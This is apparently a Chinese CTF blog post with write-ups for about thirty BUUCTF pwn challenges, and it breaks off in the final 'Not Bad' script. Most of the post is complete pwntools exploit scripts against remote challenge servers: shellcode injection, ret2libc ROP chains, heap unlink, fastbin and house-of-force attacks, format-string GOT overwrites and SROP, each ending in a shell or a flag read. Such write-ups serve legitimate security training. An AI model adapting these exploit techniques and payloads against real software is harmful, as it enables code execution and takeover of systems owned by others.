pwn | buuctf刷题记录(三)
ciscn_2019_s_9
fgets栈溢出,ret2shellcode
jmp esp返回栈上执行shellcode
需要注意的是可写的shellcode长度,覆盖完返回地址就只有14个字节可写了,shellcode放在下面肯定不够,故只能考虑放在buf变量上段,共有36个字节可写,需要加一个sub esp 40; call esp
返回上段执行
from pwn import *
p=remote('node4.buuoj.cn',26830)
context(log_level='debug',arch='i386',os='linux')
jmp_esp=0x8048554
shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''
shellcode=asm(shellcode)
print (len(shellcode)) #23
#shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload=shellcode.ljust(36,b'\x00')+p32(jmp_esp)
print (len(payload)) # 40
payload+=asm("sub esp,40;call esp")
p.sendline(payload)
p.interactive()
0ctf_2017_babyheap
和前面一样的题
hitcon2014_stkof
堆溢出,unlink,got表泄露和劫持
edit时堆块可以任意溢出,bss段有堆表,没有打印函数
考虑用unlink
- 第一次edit覆盖堆表为free_got和puts_got
- 第二次edit往free_got里写入puts_plt
- free堆块,将puts_got数据泄露出来
- 第三次edit往free_got里写入system
- free("/bin/sh")
from pwn import *
p = process('./stkof')
p=remote("node4.buuoj.cn",29302)
context.log_level = 'debug'
elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil("OK")
def fill(idx,content):
p.sendline(str(2))
p.sendline(str(idx))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil("OK")
def free(idx):
p.sendline(str(3))
p.sendline(str(idx))
alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)
target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10
payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += b"a"*0x10
payload += p64(0x30) + p64(0x90)
fill(2,payload)
free(3)
payload = b"a"*0x10
payload += p64(free_got) + p64(puts_got)
fill(2,payload)
payload = p64(puts_plt)
fill(1,payload)
free(2)
puts_addr = u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00')
log.success(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search("/bin/sh").next()
log.success(hex(libc_base))
log.success(hex(system))
log.success(hex(binsh))
payload = p64(system)
fill(1,payload)
fill(4,b'/bin/sh\x00')
free(4)
p.interactive()
需要注意一点:
setbuf()/setvbuf()函数作用:关闭I/O缓冲区,一般为了让程序显示正常,会关闭I/O缓冲区
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
但是本题没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域。
picoctf_2018_shellcode
from pwn import *
p=remote('node4.buuoj.cn',28141)
p.sendline(asm(shellcraft.sh()))
p.interactive()
pwnable_hacknote
uaf,堆块复用,数据指针泄露,函数指针篡改
堆元区和数据区复用,修改堆元区中的数据指针和函数指针
注意题目中限制了总的add次数,故最好在同一块被复用的堆块中修改两个指针
from pwn import *
context.log_level='debug'
#p = remote('node4.buuoj.cn',27980)
p=process('./hacknote')
libc = ELF('./libc32-2.23.so')
def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.send(content)
def delete(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
def show(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
add(0x80,b'aaaa')
add(0x80,b'bbbb')
gdb.attach(p)
delete(1)
delete(0)
payload = p32(0x804862b)+p32(puts_got)
add(8,payload)
show(1)
free_addr = u32(p.recv(4))
offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset
delete(2)
payload = p32(system_addr) + b';sh\0'
add(8,payload)
show(1)
p.interactive()
roarctf_2019_easy_pwn
off by one,chunk extend overlap,unsortedbin leak,fastbin attack,realloc调整堆栈
通过溢出一字节修改size,扩展堆块造成重叠,利用unsortedbin泄露libc,fastbin attack任意地址分配,从而改写malloc_hook为one_gadget
需要注意如果直接将malloc_hook改为one_gadget,不符合one_gadget的要求
可以通过__libc_realloc函数中的push指令,来调整esp,使得满足[rsp+0x70] == NULL的要求
如上图所示,在malloc_hook处写入__libc_realloc+offset的地址,在realloc_hook处写入one_gadget地址,malloc后,会执行一系列push指令,抬高esp,然后再跳去执行realloc_hook处的one_gadget,通过调整offset,可以满足[rsp+0x70] == NULL的要求
from pwn import *
#r=remote('node4.buuoj.cn',28969)
r=process('./roarctf_2019_easy_pwn')
#libc=ELF('./libc64-2.23.so')
libc=ELF('./libc.so.6')
context.log_level="debug"
def add(size):
r.recvuntil('choice: ')
r.sendline('1')
r.recvuntil('size:')
r.sendline(str(size))
def edit(index,size,data):
r.recvuntil('choice: ')
r.sendline('2')
r.recvuntil('index:')
r.sendline(str(index))
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('content:')
r.send(data)
def delete(index):
r.recvuntil('choice: ')
r.sendline('3')
r.recvuntil('index:')
r.sendline(str(index))
def show(index):
r.recvuntil('choice: ')
r.sendline('4')
r.recvuntil('index:')
r.sendline(str(index))
malloc_hook=libc.symbols['__malloc_hook']
realloc_hook=libc.symbols['__libc_realloc']
print (hex(malloc_hook))
print (hex(realloc_hook))
#gdb.attach(r,"b calloc")
add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3
#gdb.attach(r)
edit(0,34,b'a'*0x10+p64(0x20)+p8(0xa1))#off by one
#gdb.attach(r)
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check
#gdb.attach(r)
delete(1)
add(0x90)#idx1 chunk overlap
edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check
#gdb.attach(r)
delete(1)
add(0x90)#idx1 chunk overlap
edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
delete(2)
show(1)
r.recvuntil("content: ")
r.recv(0x20)
libc_base=u64(r.recv(6).ljust(8,b"\x00"))-0x3c4b78
print ("libc_base:"+hex(libc_base))
add(0x80)
edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
delete(2)
edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)
add(0x60)
add(0x60)#idx4
gdb.attach(r)
pause()
#one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
one_gadgets=[0x45216,0x4526a,0xf1247,0xf02a4]
edit(4,27,b'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4))
add(0x60)
r.interactive()
jarvisoj_level5
read栈溢出,ret2libc
write泄露libc,getshell
from pwn import*
r=remote('node4.buuoj.cn',25594)
elf=ELF('./level3_x64')
main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1
write_got=elf.got['write']
write_plt=elf.plt['write']
payload=b'a'*(0x80+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
r.recvuntil('\n')
r.sendline(payload)
write_addr=u64(r.recv(8))
print (hex(write_addr))
offset=write_addr-0xf72b0
system=offset+0x45390
bin_sh=offset+0x18cd57
payload=b'a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
r.sendline(payload)
r.interactive()
ciscn_2019_es_7
read栈溢出,srop
from pwn import *
# p = process("./ciscn_2019_es_7")
p=remote("node4.buuoj.cn",27298)
context.log_level = 'debug'
context.arch = 'amd64'
mov_rax_59 = 0x00004004E2
part1 = 0x0040059A
part2 = 0x000400580
back = 0x04004ED
pop_rdi = 0x00000000004005a3
syscall = 0x0000000000400501
payload = b'a'*0x10 + p64(back)
p.sendline(payload)
stack = u64(p.recvuntil("\x7f")[-6:]+b'\x00\x00')
binsh = stack - 0x118
log.success(hex(binsh))
# gdb.attach(p)
# pause()
pop_rax_15 = 0x004004DA
sigFrame = SigreturnFrame()
sigFrame.rax = constants.SYS_execve
sigFrame.rdi = binsh
sigFrame.rsi = 0
sigFrame.rdx = 0
sigFrame.rip = syscall
payload = b'/bin/sh\x00' * 2
payload += p64(pop_rax_15)+p64(syscall)+bytes(sigFrame)
p.sendline(payload)
p.interactive()
cmcc_pwnme2
gets栈溢出,ret2text
两种方法:
- 用gets往bss段上读入"flag"字符串
from pwn import *
p = remote('node3.buuoj.cn',25200)
elf=ELF('./pwnme2')
exec_string=0x080485cb
string=0x0804a060
gets=elf.sym['gets']
p.recvuntil('Please input:\n')
payload='a'*(0x6c+4)+p32(gets)+p32(exec_string)+p32(string)
p.sendline(payload)
p.sendline('flag')
p.interactive()
- 用add_home,add_flag在bss段上拼接"flag"字符串
from pwn import *
p = remote('node3.buuoj.cn',25200)
elf=ELF('./pwnme2')
exec_string=0x080485cb
string=0x0804a060
gets=elf.sym['gets']
p.recvuntil('Please input:\n')
payload=‘a’*(0x6c+4)+p32(add_home)+p32(pop_ebx)+p32(0xDEADBEEF)+p32(add_flag)+p32(pop_2个寄存器)+p32(0xCAFEBABE)+p32(0xABADF00D)+p32(exec_string)
p.sendline(payload)
p.sendline('flag')
p.interactive()
picoctf_2018_got_shell
任意地址写
from pwn import *
p=remote('node3.buuoj.cn',25901)
elf=ELF('./PicoCTF_2018_got-shell ')
puts_got=elf.got['puts']
win_addr=0x0804854B
p.sendlineafter("Where would you like to write this 4 byte value?", hex(puts_got))
p.recv()
p.sendline(hex(win_addr))
p.interactive()
mrctf2020_easy_equation
printf格式化字符串可控,任意地址写
from pwn import *
#p = remote('node4.buuoj.cn',25406)
p = process("./mrctf2020_easy_equation")
judge = 0x60105C
payload = b"AA" + b"%9$nAAA" + p64(judge)
p.sendline(payload)
p.interactive()
npuctf_2020_easyheap
off by one,chunk overlap extend,数据指针篡改,got表泄露和篡改
from pwn import *
# p = process("./npuctf_2020_easyheap")
p = remote("node4.buuoj.cn",26001)
context.log_level = 'debug'
elf = ELF("./npuctf_2020_easyheap")
# libc = ELF("./libc-2.27.so")
# p = process(['./npuctf_2020_easyheap'],env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libc64-2.27.so")
atoi_got = elf.got['atoi']
free_got = elf.got['free']
def cmd(choice):
p.recvuntil("Your choice :")
p.sendline(str(choice))
def create(size,content):
cmd(1)
p.recvuntil("only) :")
p.sendline(str(size))
p.recvuntil("Content:")
p.sendline(content)
def edit(idx,content):
cmd(2)
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Content:")
p.sendline(content)
def show(idx):
cmd(3)
p.recvuntil("Index :")
p.sendline(str(idx))
def delete(idx):
cmd(4)
p.recvuntil("Index :")
p.sendline(str(idx))
create(0x18,b"aaaa")
create(0x18,b"aaaa")
payload = b'/bin/sh\x00'
payload += p64(0) * 2
payload += p64(0x41)
edit(0,payload)
delete(1)
payload = b'a' * 0x20 + p64(0x38) + p64(free_got)
create(0x38,payload)
show(1)
free_addr = u64(p.recvuntil("\x7f")[-6:]+b'\x00\x00')
log.success(hex(free_addr))
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
log.success(hex(libc_base))
log.success(hex(system))
edit(1,p64(system))
# gdb.attach(p)
# pause()
delete(0)
p.interactive()
wdb_2018_2nd_easyfmt
printf格式化字符串可控,任意地址读写
from pwn import *
# p = process("./wdb_2018_2nd_easyfmt")
p=remote("node4.buuoj.cn",29961)
context.log_level = 'debug'
context.arch = 'i386'
elf = ELF("./wdb_2018_2nd_easyfmt")
libc = ELF("./libc23-2.23.so")
p.recvuntil("Do you know repeater?")
payload = p32(elf.got['printf']) + "%6$s"
p.sendline(payload)
printf_addr = u32(p.recvuntil("\xf7")[-4:])
print(hex(printf_addr))
libc_base = printf_addr - libc.sym['printf']
system = libc_base + libc.sym['system']
printf_got = elf.got['printf']
offset = 6
log.success(hex(printf_got))
payload = fmtstr_payload(offset,{printf_got:system})
p.sendline(payload)
p.sendline("/bin/sh\x00")
# gdb.attach(p)
# pause()
p.interactive()
hitcontraining_bamboobox
堆溢出,house of force,任意地址写
edit任意溢出,有个magic函数,考虑改写函数指针
任意地址写的话可以用unlink,也可以用house of force
程序一开始申请了一个堆块,里面存放了一个函数指针,用house of force可以很方便的控制这个堆块
- 首先申请一个堆块用于溢出,将topchunk size改为0xffffffffffffffff
alloc(0x30, b"aaaa")
change(0, b"a"*0x38+p64(0xffffffffffffffff))
注意用于溢出的堆块可以申请大一点,如果太小的话,目标堆块离topchunk太近,topchunk就需要切割非常大的块,剩下的部分不足以再次分配
如上图所示再次申请堆块时,topchunk就不够用了,没通过最小值检验,只能调用sysmalloc,就会报下面的错误
[#2] 0x7fc2caba0408 → __malloc_assert(assertion=0x7fc2cac940c0 "(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)", file=0x7fc2cac90ae6 "malloc.c", line=0x95b, function=0x7fc2cac948d8 <__func__.11526> "sysmalloc")
- 然后计算一下偏移,申请堆块的大小= - (目标堆块同topchunk的偏移+0x10),这样就能将av->top指向目标地址处了
offset = -(0x20+0x40+0x10)
alloc(offset, b"bbbb")
- 再申请一个小块,拿下目标堆块
alloc(0x18, p64(0)+p64(magic))
完整EXP如下
from pwn import *
p = remote("node4.buuoj.cn", 27159)
#p = process('./bamboobox')
context.log_level = 'debug'
magic = 0x00400D49
def show():
p.recvuntil("Your choice:")
p.sendline(str(1))
def alloc(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("length of item name:")
p.sendline(str(size))
p.recvuntil("name of item:")
p.sendline(content)
def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("index of item:")
p.sendline(str(idx))
p.recvuntil("length of item name:")
p.sendline(str(len(content)))
p.recvuntil("new name of the item:")
p.sendline(content)
def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("index of item:")
p.sendline(str(idx))
def exit():
p.recvuntil("Your choice:")
p.sendline(str(5))
alloc(0x30, b"aaaa")
change(0, b"a"*0x38+p64(0xffffffffffffffff))
offset = -(0x20+0x40)-0x10
alloc(offset, b"bbbb")
alloc(0x18, p64(0)+p64(magic))
exit()
p.interactive()
远程没有那个flag目录,故不能用magic,还是老老实实unlink拿shell吧
from pwn import *
p = process('./bamboobox')
p=remote("node4.buuoj.cn",27159)
context.log_level = 'debug'
elf = ELF("./bamboobox")
libc = ELF("./libc64-2.23.so")
atoi_got = elf.got['atoi']
def show():
p.recvuntil("Your choice:")
p.sendline(str(1))
def alloc(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("length of item name:")
p.sendline(str(size))
p.recvuntil("name of item:")
p.sendline(content)
def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("index of item:")
p.sendline(str(idx))
p.recvuntil("length of item name:")
p.sendline(str(len(content)))
p.recvuntil("new name of the item:")
p.sendline(content)
def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("index of item:")
p.sendline(str(idx))
alloc(0x30,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc")
target = 0x6020c8 #not be last
fd = target - 0x18
bk = target - 0x10
payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += b"a"*0x10
payload += p64(0x30) + p64(0x90)
change(0,payload)
free(1)
payload = p64(0) * 2
payload += p64(0x30) + p64(atoi_got)
change(0,payload)
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:]+b'\x00\x00')
log.success(hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']
payload = p64(system)
change(0,payload)
p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")
p.interactive()
mrctf2020_shellcode_revenge
可见字符shellcode
输入shellcode直接执行,要求输入的shellcode是可见字符
用到一个shellcode编码工具alpha3
git clone https://github.com/TaQini/alpha3.git
用alpha3对pwntools直接生成的shellcode进行编码
python ./ALPHA3.py x64 ascii mixedcase rax --input="存储shellcode的文件" > 输出文件
使用编码后的shellcode
from pwn import *
r = remote("node3.buuoj.cn",29334)
context(arch = 'amd64', os = 'linux', log_level = 'debug')
r.recvuntil("Show me your magic!\n")
shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
payload=shellcode_64
r.send(payload)
r.interactive()
picoctf_2018_can_you_gets_me
gets栈溢出,ret2syscall
静态链接,可以直接用ROPgadget生成payload
ROPgadget --binary PicoCTF_2018_can-you-gets-me --ropchain
EXP如下:
from pwn import *
from struct import pack
p = remote('node4.buuoj.cn',26706)
# p = process("./PicoCTF_2018_can-you-gets-me")
def payload():
offset = 0x18
p = b'A' * (offset + 4)
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
return p
shell = payload()
p.send(shell)
p.interactive()
actf_2019_babystack
read栈溢出,栈劫持,ret2libc
只能溢出0x10个字节
但是提供了栈上buf变量的地址,可用于栈劫持
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './babystack'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 25664)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.recvuntil("Welcome to ACTF's babystack!")
r.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')
r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leave_ret = 0x400A18
main_addr = 0x4008F6
pop_rdi_ret = 0x0000000000400ad3
p1 = b'a' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p1 = p1.ljust(0xd0, b'\x00')
p1 += p64(message_addr) + p64(leave_ret)
r.send(p1)
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('puts_addr = ' + hex(puts_addr))
libc = ELF('./libc64-2.27.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base
r.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')
r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')
ret = 0x400A4F
#p2 = b'a' * 8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
p2 = b'a' * 8 + p64(ret) + p64(one_gadget)
p2 = p2.ljust(0xd0, b'\x00')
p2 += p64(message_addr) + p64(leave_ret)
r.send(p2)
r.interactive()
suctf_2018_basic_pwn
scanf栈溢出,ret2text
from pwn import *
r=remote('node4.buuoj.cn',29697)
flag_addr=0x401157
payload=b'a'*(0x110+8)+p64(flag_addr)
r.sendline(payload)
r.interactive()
inndy_echo
printf格式化字符串可控,got表篡改
from pwn import *
target = 0x804a010
system = 0x8048400
p = process("./echo")
payload=fmtstr_payload(7,{target:system},write_size = "byte")
p.sendline(payload)
gdb.attach(p)
pause()
p.sendline("/bin/sh\x00")
p.interactive()
x_ctf_b0verfl0w
fgets栈溢出,jmp esp,栈上写汇编
没开NX,并且有jmp esp,可以将shellcode布置到栈上
不够空间写shellcode,可以把shellcode写到返回地址上方,然后通过sub esp, jmp esp
跳到低地址执行
payload如下:
sub_esp_jmp=asm('sub esp,0x28;jmp esp')
payload=shellcode+(0x20-len(shellcode))*b'a'+b'bbbb'+p32(jmp_esp)+sub_esp_jmp
from pwn import *
context.arch='i386'
# r = process('./b0verfl0w')
r = remote("node4.buuoj.cn", 27802)
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"
print len(shellcode)
sub_esp_jmp=asm('sub esp,0x28;jmp esp')
jmp_esp=0x08048504
payload=shellcode+(0x20-len(shellcode))*b'a'+b'bbbb'+p32(jmp_esp)+sub_esp_jmp
r.sendline(payload)
r.interactive()
picoctf_2018_leak_me
栈变量泄露
将name变量填满,打印name时会将password一并带出
from pwn import *
context.log_level = 'debug'
#p = process("./leak_me")
p = remote("node4.buuoj.cn", 28055)
p.recvuntil("What is your name?")
p.sendline("A"*250 + 5*"B")
p.recvuntil("BBBBB,")
password = p.recvuntil("\n")
print(password)
p.interactive()
hitcontraining_unlink
堆溢出,unlink
from pwn import *
p = process('./bamboobox')
p=remote("node4.buuoj.cn",27965)
context.log_level = 'debug'
elf = ELF("./bamboobox")
libc = ELF("./libc64-2.23.so")
atoi_got = elf.got['atoi']
def show():
p.recvuntil("Your choice:")
p.sendline(str(1))
def alloc(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("length of item name:")
p.sendline(str(size))
p.recvuntil("name of item:")
p.sendline(content)
def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("index of item:")
p.sendline(str(idx))
p.recvuntil("length of item name:")
p.sendline(str(len(content)))
p.recvuntil("new name of the item:")
p.sendline(content)
def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("index of item:")
p.sendline(str(idx))
alloc(0x30,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc")
target = 0x6020c8 #not be last
fd = target - 0x18
bk = target - 0x10
payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += b"a"*0x10
payload += p64(0x30) + p64(0x90)
change(0,payload)
free(1)
payload = p64(0) * 2
payload += p64(0x30) + p64(atoi_got)
change(0,payload)
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:]+b'\x00\x00')
log.success(hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']
payload = p64(system)
change(0,payload)
p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")
p.interactive()
wustctf2020_easyfast
UAF,Fastbin Attack
from pwn import*
context.log_level='debug'
io = process('./easyfast')
def debug():
gdb.attach(io)
pause()
def creat(size):
io.recvuntil("choice>")
io.sendline("1")
io.recvuntil("size>")
io.sendline(str(size))
def edit(index,value):
io.recvuntil("choice>")
io.sendline("3")
io.recvuntil("index>")
io.sendline(str(index))
io.send(payload)
def free(index):
io.recvuntil("choice>")
io.sendline("2")
io.recvuntil("index>")
io.sendline(str(index))
creat(0x40)
creat(0x40)
free(0)
target_addr = 0x602080
payload = p64(target_addr)
edit(0,payload)
creat(0x40)
creat(0x40)
payload=p64(0)
edit(3,payload)
io.recvuntil("choice>")
io.sendline("4")
io.interactive()
wustctf2020_name_your_cat
scanf栈溢出
输入偏移直接打返回地址到backdoor
from pwn import *
p=remote("node4.buuoj.cn",26558)
shell_addr=0x80485cb
p.sendlineafter('Name for which?\n>','7')
p.sendlineafter("Give your name plz: ",p32(shell_addr))
for i in range(4):
p.sendline('1')
p.sendline('aaa')
p.interactive()
axb_2019_fmt64
64位printf格式化字符串漏洞,任意地址读写
64位的printf格式化字符串漏洞利用,先泄露got后篡改
- 泄露got,64位printf要考虑got地址"\x00"截断,故地址只能放到后面
#payload1 = p64(puts_got)+"%08$s"
payload1 = b"%9$s" + b"AAAA" + p64(puts_got)
- 篡改got,64位got里需要放一个大地址,故只能逐个字节写
high_sys = (system_addr >> 16) & 0xff
low_sys = system_addr & 0xffff
payload2 = b"%" + bytes(str(high_sys - 9), "utf-8") + b"c%12$hhn" + b"%" + bytes(str(low_sys - high_sys), "utf-8") + b"c%13$hn"
payload2 = payload2.ljust(32,b"A") + p64(strlen_got + 2) + p64(strlen_got)
最终EXP:
from pwn import *
context.log_level='debug'
#io = process('./axb_2019_fmt64')
io = remote("node4.buuoj.cn",29211)
elf = ELF("./axb_2019_fmt64")
libc = ELF("./libc.so")
puts_got = elf.got["puts"]
sprintf_got = elf.got["sprintf"]
strlen_got = elf.got["strlen"]
print (hex(puts_got))
#payload1 = p64(puts_got)+"%08$s"
payload1 = b"%9$s" + b"AAAA" + p64(puts_got)
io.sendafter("Please tell me:",payload1)
print(io.recvuntil("Repeater:"))
puts_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))
print("puts_addr ---> ",hex(puts_addr))
libcbase = puts_addr - libc.sym["puts"]
system_addr = libcbase + libc.sym["system"]
print("system_addr ---> ", hex(system_addr))
high_sys = (system_addr >> 16) & 0xff
low_sys = system_addr & 0xffff
payload2 = b"%" + bytes(str(high_sys - 9), "utf-8") + b"c%12$hhn" + b"%" + bytes(str(low_sys - high_sys), "utf-8") + b"c%13$hn"
payload2 = payload2.ljust(32,b"A") + p64(strlen_got + 2) + p64(strlen_got)
io.sendafter("Please tell me:",payload2)
payload3 = b';/bin/sh\x00'
io.sendafter("Please tell me:",payload3)
io.interactive()
io.close()
cmcc_pwnme1
read栈溢出
from pwn import *
#r=process('./pwnme1')
r=remote('node4.buuoj.cn',28809)
elf=ELF('./pwnme1')
libc=ELF("./libc.so")
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']
#泄露libc
r.recvuntil('Exit')
r.sendline('5')
payload=b'a'*(0xa4+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
r.sendline(payload)
#计算system和bin/sh地址
puts_addr=u32(r.recvuntil('\xf7')[-4:])
libc_base=puts_addr-libc.sym['puts']
sys_addr=libc_base+libc.sym['system']
bin_addr=libc_base+libc.search("/bin/sh").__next__()
r.recvuntil('Exit')
r.sendline('5')
payload=b'a'*(0xa4+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)
r.interactive()
axb_2019_brop64
read栈溢出
from pwn import *
context.log_level="debug"
#p=process('./axb_2019_brop64')
p=remote('node4.buuoj.cn',27617)
elf=ELF('./axb_2019_brop64')
libc = ELF("./libc.so")
main=0x4007d6
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400963
p.recvuntil('Please tell me:')
payload=b'a'*(0xd0+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))
success('puts_addr:'+hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").__next__()
payload=b'a'*0xd8+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
p.sendline(payload)
p.interactive()
Not Bad
read栈溢出,ret2shellcode,orw
seccomp-tools查看可用的系统调用,orw可以
有jmp_esp gadget,但是buf长度不够,考虑将shellcode写到程序一开始分配的mmap地址处
故栈上rop链为:
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
写到mmap的shellcode为:
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)
EXP:
from pwn import *
context.arch='amd64'
elf = ELF('./bad')
p = remote('node4.buuoj.cn',25276)
mmap=0x123000
orw_payload = shellcraft.open("./flag")
